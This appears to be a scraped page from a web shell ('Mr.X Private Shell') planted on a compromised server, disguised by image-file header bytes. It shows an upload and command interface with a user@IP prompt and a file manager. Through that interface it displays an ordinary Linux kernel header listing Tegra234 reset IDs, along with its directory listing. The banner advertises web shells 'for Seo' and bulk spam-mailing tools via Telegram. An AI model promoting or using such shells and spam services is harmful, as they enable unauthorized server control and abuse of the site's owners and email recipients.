����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
/* Copyright (c) 2018-2022, NVIDIA CORPORATION. All rights reserved. */

#ifndef DT_BINDINGS_RESET_TEGRA234_RESET_H
#define DT_BINDINGS_RESET_TEGRA234_RESET_H

/**
 * @file
 * @defgroup bpmp_reset_ids Reset ID's
 * @brief Identifiers for Resets controllable by firmware
 * @{
 */
#define TEGRA234_RESET_ACTMON			1U
#define TEGRA234_RESET_ADSP_ALL			2U
#define TEGRA234_RESET_DSI_CORE			3U
#define TEGRA234_RESET_CAN1			4U
#define TEGRA234_RESET_CAN2			5U
#define TEGRA234_RESET_DLA0			6U
#define TEGRA234_RESET_DLA1			7U
#define TEGRA234_RESET_DPAUX			8U
#define TEGRA234_RESET_OFA			9U
#define TEGRA234_RESET_NVJPG1			10U
#define TEGRA234_RESET_PEX1_CORE_6		11U
#define TEGRA234_RESET_PEX1_CORE_6_APB		12U
#define TEGRA234_RESET_PEX1_COMMON_APB		13U
#define TEGRA234_RESET_PEX2_CORE_7		14U
#define TEGRA234_RESET_PEX2_CORE_7_APB		15U
#define TEGRA234_RESET_NVDISPLAY		16U
#define TEGRA234_RESET_EQOS			17U
#define TEGRA234_RESET_GPCDMA			18U
#define TEGRA234_RESET_GPU			19U
#define TEGRA234_RESET_HDA			20U
#define TEGRA234_RESET_HDACODEC			21U
#define TEGRA234_RESET_EQOS_MACSEC		22U
#define TEGRA234_RESET_EQOS_MACSEC_SECURE	23U
#define TEGRA234_RESET_I2C1			24U
#define TEGRA234_RESET_PEX2_CORE_8		25U
#define TEGRA234_RESET_PEX2_CORE_8_APB		26U
#define TEGRA234_RESET_PEX2_CORE_9		27U
#define TEGRA234_RESET_PEX2_CORE_9_APB		28U
#define TEGRA234_RESET_I2C2			29U
#define TEGRA234_RESET_I2C3			30U
#define TEGRA234_RESET_I2C4			31U
#define TEGRA234_RESET_I2C6			32U
#define TEGRA234_RESET_I2C7			33U
#define TEGRA234_RESET_I2C8			34U
#define TEGRA234_RESET_I2C9			35U
#define TEGRA234_RESET_ISP			36U
#define TEGRA234_RESET_MIPI_CAL			37U
#define TEGRA234_RESET_MPHY_CLK_CTL		38U
#define TEGRA234_RESET_MPHY_L0_RX		39U
#define TEGRA234_RESET_MPHY_L0_TX		40U
#define TEGRA234_RESET_MPHY_L1_RX		41U
#define TEGRA234_RESET_MPHY_L1_TX		42U
#define TEGRA234_RESET_NVCSI			43U
#define TEGRA234_RESET_NVDEC			44U
#define TEGRA234_RESET_MGBE0_PCS		45U
#define TEGRA234_RESET_MGBE0_MAC		46U
#define TEGRA234_RESET_MGBE0_MACSEC		47U
#define TEGRA234_RESET_MGBE0_MACSEC_SECURE	48U
#define TEGRA234_RESET_MGBE1_PCS		49U
#define TEGRA234_RESET_MGBE1_MAC		50U
#define TEGRA234_RESET_MGBE1_MACSEC		51U
#define TEGRA234_RESET_MGBE1_MACSEC_SECURE	52U
#define TEGRA234_RESET_MGBE2_PCS		53U
#define TEGRA234_RESET_MGBE2_MAC		54U
#define TEGRA234_RESET_MGBE2_MACSEC		55U
#define TEGRA234_RESET_PEX2_CORE_10		56U
#define TEGRA234_RESET_PEX2_CORE_10_APB		57U
#define TEGRA234_RESET_PEX2_COMMON_APB		58U
#define TEGRA234_RESET_NVENC			59U
#define TEGRA234_RESET_MGBE2_MACSEC_SECURE	60U
#define TEGRA234_RESET_NVJPG			61U
#define TEGRA234_RESET_LA			64U
#define TEGRA234_RESET_HWPM			65U
#define TEGRA234_RESET_PVA0_ALL			66U
#define TEGRA234_RESET_CEC			67U
#define TEGRA234_RESET_PWM1			68U
#define TEGRA234_RESET_PWM2			69U
#define TEGRA234_RESET_PWM3			70U
#define TEGRA234_RESET_PWM4			71U
#define TEGRA234_RESET_PWM5			72U
#define TEGRA234_RESET_PWM6			73U
#define TEGRA234_RESET_PWM7			74U
#define TEGRA234_RESET_PWM8			75U
#define TEGRA234_RESET_QSPI0			76U
#define TEGRA234_RESET_QSPI1			77U
#define TEGRA234_RESET_I2S7			78U
#define TEGRA234_RESET_I2S8			79U
#define TEGRA234_RESET_SCE_ALL			80U
#define TEGRA234_RESET_RCE_ALL			81U
#define TEGRA234_RESET_SDMMC1			82U
#define TEGRA234_RESET_RSVD_83			83U
#define TEGRA234_RESET_RSVD_84			84U
#define TEGRA234_RESET_SDMMC4			85U
#define TEGRA234_RESET_MGBE3_PCS		87U
#define TEGRA234_RESET_MGBE3_MAC		88U
#define TEGRA234_RESET_MGBE3_MACSEC		89U
#define TEGRA234_RESET_MGBE3_MACSEC_SECURE	90U
#define TEGRA234_RESET_SPI1			91U
#define TEGRA234_RESET_SPI2			92U
#define TEGRA234_RESET_SPI3			93U
#define TEGRA234_RESET_SPI4			94U
#define TEGRA234_RESET_TACH0			95U
#define TEGRA234_RESET_TACH1			96U
#define TEGRA234_RESET_SPI5			97U
#define TEGRA234_RESET_TSEC			98U
#define TEGRA234_RESET_UARTI			99U
#define TEGRA234_RESET_UARTA			100U
#define TEGRA234_RESET_UARTB			101U
#define TEGRA234_RESET_UARTC			102U
#define TEGRA234_RESET_UARTD			103U
#define TEGRA234_RESET_UARTE			104U
#define TEGRA234_RESET_UARTF			105U
#define TEGRA234_RESET_UARTJ			106U
#define TEGRA234_RESET_UARTH			107U
#define TEGRA234_RESET_UFSHC			108U
#define TEGRA234_RESET_UFSHC_AXI_M		109U
#define TEGRA234_RESET_UFSHC_LP_SEQ		110U
#define TEGRA234_RESET_RSVD_111			111U
#define TEGRA234_RESET_VI			112U
#define TEGRA234_RESET_VIC			113U
#define TEGRA234_RESET_XUSB_PADCTL		114U
#define TEGRA234_RESET_VI2			115U
#define TEGRA234_RESET_PEX0_CORE_0		116U
#define TEGRA234_RESET_PEX0_CORE_1		117U
#define TEGRA234_RESET_PEX0_CORE_2		118U
#define TEGRA234_RESET_PEX0_CORE_3		119U
#define TEGRA234_RESET_PEX0_CORE_4		120U
#define TEGRA234_RESET_PEX0_CORE_0_APB		121U
#define TEGRA234_RESET_PEX0_CORE_1_APB		122U
#define TEGRA234_RESET_PEX0_CORE_2_APB		123U
#define TEGRA234_RESET_PEX0_CORE_3_APB		124U
#define TEGRA234_RESET_PEX0_CORE_4_APB		125U
#define TEGRA234_RESET_PEX0_COMMON_APB		126U
#define TEGRA234_RESET_RSVD_127			127U
#define TEGRA234_RESET_NVHS_UPHY_PLL1		128U
#define TEGRA234_RESET_PEX1_CORE_5		129U
#define TEGRA234_RESET_PEX1_CORE_5_APB		130U
#define TEGRA234_RESET_GBE_UPHY			131U
#define TEGRA234_RESET_GBE_UPHY_PM		132U
#define TEGRA234_RESET_NVHS_UPHY		133U
#define TEGRA234_RESET_NVHS_UPHY_PLL0		134U
#define TEGRA234_RESET_NVHS_UPHY_L0		135U
#define TEGRA234_RESET_NVHS_UPHY_L1		136U
#define TEGRA234_RESET_NVHS_UPHY_L2		137U
#define TEGRA234_RESET_NVHS_UPHY_L3		138U
#define TEGRA234_RESET_NVHS_UPHY_L4		139U
#define TEGRA234_RESET_NVHS_UPHY_L5		140U
#define TEGRA234_RESET_NVHS_UPHY_L6		141U
#define TEGRA234_RESET_NVHS_UPHY_L7		142U
#define TEGRA234_RESET_NVHS_UPHY_PM		143U
#define TEGRA234_RESET_DMIC5			144U
#define TEGRA234_RESET_APE			145U
#define TEGRA234_RESET_PEX_USB_UPHY		146U
#define TEGRA234_RESET_PEX_USB_UPHY_L0		147U
#define TEGRA234_RESET_PEX_USB_UPHY_L1		148U
#define TEGRA234_RESET_PEX_USB_UPHY_L2		149U
#define TEGRA234_RESET_PEX_USB_UPHY_L3		150U
#define TEGRA234_RESET_PEX_USB_UPHY_L4		151U
#define TEGRA234_RESET_PEX_USB_UPHY_L5		152U
#define TEGRA234_RESET_PEX_USB_UPHY_L6		153U
#define TEGRA234_RESET_PEX_USB_UPHY_L7		154U
#define TEGRA234_RESET_PEX_USB_UPHY_PLL0	159U
#define TEGRA234_RESET_PEX_USB_UPHY_PLL1	160U
#define TEGRA234_RESET_PEX_USB_UPHY_PLL2	161U
#define TEGRA234_RESET_PEX_USB_UPHY_PLL3	162U
#define TEGRA234_RESET_GBE_UPHY_L0		163U
#define TEGRA234_RESET_GBE_UPHY_L1		164U
#define TEGRA234_RESET_GBE_UPHY_L2		165U
#define TEGRA234_RESET_GBE_UPHY_L3		166U
#define TEGRA234_RESET_GBE_UPHY_L4		167U
#define TEGRA234_RESET_GBE_UPHY_L5		168U
#define TEGRA234_RESET_GBE_UPHY_L6		169U
#define TEGRA234_RESET_GBE_UPHY_L7		170U
#define TEGRA234_RESET_GBE_UPHY_PLL0		171U
#define TEGRA234_RESET_GBE_UPHY_PLL1		172U
#define TEGRA234_RESET_GBE_UPHY_PLL2		173U

/** @} */

#endif

Filemanager

Name Type Size Permission Actions
actions,s500-reset.h File 1.73 KB 0644
actions,s700-reset.h File 874 B 0644
actions,s900-reset.h File 1.66 KB 0644
altr,rst-mgr-a10.h File 2.27 KB 0644
altr,rst-mgr-a10sr.h File 530 B 0644
altr,rst-mgr-s10.h File 2.17 KB 0644
altr,rst-mgr.h File 1.82 KB 0644
amlogic,meson-a1-reset.h File 1.59 KB 0644
amlogic,meson-axg-audio-arb.h File 505 B 0644
amlogic,meson-axg-reset.h File 2.83 KB 0644
amlogic,meson-g12a-audio-reset.h File 1.37 KB 0644
amlogic,meson-g12a-reset.h File 3.24 KB 0644
amlogic,meson-gxbb-reset.h File 4.03 KB 0644
amlogic,meson8b-clkc-reset.h File 1.02 KB 0644
amlogic,meson8b-reset.h File 3.27 KB 0644
axg-aoclkc.h File 519 B 0644
bcm6318-reset.h File 539 B 0644
bcm63268-reset.h File 733 B 0644
bcm6328-reset.h File 476 B 0644
bcm6358-reset.h File 381 B 0644
bcm6362-reset.h File 597 B 0644
bcm6368-reset.h File 412 B 0644
bitmain,bm1880-reset.h File 1.38 KB 0644
bt1-ccu.h File 629 B 0644
cortina,gemini-reset.h File 1.01 KB 0644
g12a-aoclkc.h File 448 B 0644
gxbb-aoclkc.h File 2.8 KB 0644
hisi,hi6220-resets.h File 3.4 KB 0644
imx7-reset.h File 1.41 KB 0644
imx8mp-reset.h File 1.66 KB 0644
imx8mq-reset.h File 3.35 KB 0644
imx8ulp-pcc-reset.h File 1.42 KB 0644
k210-rst.h File 1.07 KB 0644
mt2701-resets.h File 2.64 KB 0644
mt7622-reset.h File 2.69 KB 0644
mt7629-resets.h File 2.15 KB 0644
mt8135-resets.h File 2.04 KB 0644
mt8173-resets.h File 1.96 KB 0644
nuvoton,npcm7xx-reset.h File 2.74 KB 0644
oxsemi,ox810se.h File 907 B 0644
oxsemi,ox820.h File 938 B 0644
pistachio-resets.h File 1.06 KB 0644
qcom,gcc-apq8084.h File 2.9 KB 0644
qcom,gcc-ipq6018.h File 4.98 KB 0644
qcom,gcc-ipq806x.h File 5.28 KB 0644
qcom,gcc-mdm9615.h File 3.67 KB 0644
qcom,gcc-msm8660.h File 3.57 KB 0644
qcom,gcc-msm8916.h File 2.85 KB 0644
qcom,gcc-msm8939.h File 3.17 KB 0644
qcom,gcc-msm8960.h File 3.59 KB 0644
qcom,gcc-msm8974.h File 2.61 KB 0644
qcom,mmcc-apq8084.h File 1.53 KB 0644
qcom,mmcc-msm8960.h File 2.63 KB 0644
qcom,mmcc-msm8974.h File 1.47 KB 0644
qcom,sdm845-aoss.h File 425 B 0644
qcom,sdm845-pdc.h File 511 B 0644
raspberrypi,firmware-reset.h File 350 B 0644
realtek,rtd1195.h File 2 KB 0644
realtek,rtd1295.h File 3.31 KB 0644
snps,hsdk-reset.h File 446 B 0644
stih407-resets.h File 2.09 KB 0644
stih415-resets.h File 882 B 0644
stih416-resets.h File 1.72 KB 0644
stm32mp1-resets.h File 2.82 KB 0644
sun4i-a10-ccu.h File 2.53 KB 0644
sun50i-a100-ccu.h File 1.67 KB 0644
sun50i-a100-r-ccu.h File 480 B 0644
sun50i-a64-ccu.h File 3.33 KB 0644
sun50i-h6-ccu.h File 1.78 KB 0644
sun50i-h6-r-ccu.h File 459 B 0644
sun50i-h616-ccu.h File 1.71 KB 0644
sun5i-ccu.h File 435 B 0644
sun6i-a31-ccu.h File 3.51 KB 0644
sun8i-a23-a33-ccu.h File 3.06 KB 0644
sun8i-a83t-ccu.h File 3.18 KB 0644
sun8i-de2.h File 317 B 0644
sun8i-h3-ccu.h File 3.46 KB 0644
sun8i-r-ccu.h File 2.23 KB 0644
sun8i-r40-ccu.h File 4.06 KB 0644
sun8i-v3s-ccu.h File 2.86 KB 0644
sun9i-a80-ccu.h File 3.33 KB 0644
sun9i-a80-de.h File 2.28 KB 0644
sun9i-a80-usb.h File 2.26 KB 0644
suniv-ccu-f1c100s.h File 912 B 0644
tegra124-car.h File 360 B 0644
tegra186-reset.h File 7.28 KB 0644
tegra194-reset.h File 5.41 KB 0644
tegra210-car.h File 405 B 0644
tegra234-reset.h File 6.63 KB 0644
ti-syscon.h File 777 B 0644
xlnx-versal-resets.h File 4.05 KB 0644
xlnx-zynqmp-resets.h File 4.16 KB 0644